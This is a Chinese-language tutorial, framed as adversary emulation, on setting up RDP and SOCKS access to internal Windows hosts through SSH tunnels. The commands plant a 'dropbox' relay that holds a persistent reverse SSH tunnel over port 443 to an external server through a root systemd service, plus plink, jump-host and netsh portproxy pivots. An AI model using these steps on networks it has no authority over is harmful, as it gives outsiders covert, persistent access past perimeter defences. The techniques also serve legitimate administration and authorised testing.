通过SSH隧道实现RDP连接的完整指南
场景概述
本文记录通过SSH连接设置RDP访问的完整流程。虽然使用"攻击者"和"目标"等术语(因工作涉及对抗模拟),但这些技术同样适用于系统管理任务。
场景一:Linux中继到内部Windows目标
网络拓扑
- 攻击者系统:位于内部网络的Windows机器
- 外部系统:互联网上的Linux服务器(IP:208.8.8.8,SSH端口443)
- 中继设备(Dropbox):内部网络的Linux机器(SSH端口22)
- 目标系统:内部Windows机器(RDP端口3389,IP:10.2.2.222)
认证配置
所有SSH认证使用公钥/私钥对:
- 中继设备私钥:db.key
- 攻击者私钥:at.ppk(Putty格式)或at.key
建立反向SSH隧道
从中继设备连接到外部系统并设置反向端口转发:
ssh -i ~/.ssh/db.key -p 443 -R 5001:localhost:22 root@208.8.8.8
持久化连接
使用autossh确保连接稳定:
autossh -M 0 -o ServerAliveInterval=30 -o ServerAliveCountMax=3 \
-o ExitOnForwardFailure=yes -i ~/.ssh/db.key -p 443 \
-R 5001:localhost:22 root@208.8.8.8
创建systemd服务
创建/etc/systemd/system/autossh.service文件:
[Unit]
Description=Keeps a tunnel to External server open
Requires=network-online.target
After=network-online.target
[Service]
User=root
Environment="AUTOSSH_GATETIME=0"
ExecStart=/usr/bin/autossh -M 0 -N -o ServerAliveInterval=30 \
-o ServerAliveCountMax=3 -o ExitOnForwardFailure=yes \
-i /root/.ssh/db.key -p 443 -R 5001:localhost:22 root@208.8.8.8
[Install]
WantedBy=multi-user.target
启用并启动服务:
sudo systemctl daemon-reload
sudo systemctl start autossh.service
sudo systemctl enable autossh.service
sudo systemctl enable ssh
攻击者连接配置
设置环境变量:
set EXTERNAL_IP=208.8.8.8
set TARGET_IP=10.2.2.222
使用plink建立连接:
plink -i at.ppk root@%EXTERNAL_IP% -P 5001 -L 3390:%TARGET_IP%:3389 \
-proxycmd "plink root@%EXTERNAL_IP% -P 443 -i at.ppk -nc 127.0.0.1:5001"
RDP连接
使用Windows RDP客户端连接到:
localhost:3390
SOCKS代理配置
建立动态SOCKS代理:
plink -i at.ppk root@%EXTERNAL_IP% -P 5001 -D 9999 \
-proxycmd "plink root@%EXTERNAL_IP% -P 443 -i at.ppk -nc 127.0.0.1:5001"
配置浏览器使用SOCKS v5代理:localhost:9999,并启用"Proxy DNS when using SOCKS v5"。
场景二:Linux攻击者系统
SSH连接命令
EXTERNAL_IP=208.8.8.8
TARGET_IP=10.2.2.222
ssh -i at.key root@127.0.0.1 -p 5001 -L 3390:$TARGET_IP:3389 -J root@$EXTERNAL_IP:443
SSH配置文件
编辑/root/.ssh/config:
Host external
Hostname 208.8.8.8
User root
Port 443
IdentityFile ~/.ssh/at.key
Host dropbox
Hostname 127.0.0.1
User root
Port 5001
ProxyCommand ssh external -W %h:%p
IdentityFile ~/.ssh/at.key
简化连接命令:
ssh -L 3390:$TARGET_IP:3389 dropbox
RDP客户端连接
使用xfreerdp:
xfreerdp /u:carrie /v:127.0.0.1:3390
# 域用户
xfreerdp /u:intdomain\carrie /v:127.0.0.1:3390
场景三:Windows中继设备
端口代理配置
以管理员身份运行:
netsh interface portproxy add v4tov4 listenaddress=127.0.0.1 \
listenport=3390 connectaddress=10.2.2.222 connectport=3389
中继设备连接
set EXTERNAL_IP=208.8.8.8
plink -i at.ppk root@%EXTERNAL_IP% -P 443 -L 5001:127.0.0.1:3390
攻击者连接
TARGET_IP=10.2.2.222
ssh -L 3390:$TARGET_IP:3389 dropbox
浏览器访问配置
无需管理员权限,直接建立SOCKS代理:
ssh -D 9999 dropbox
配置浏览器使用localhost:9999 SOCKS代理即可浏览目标内网。
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
公众号二维码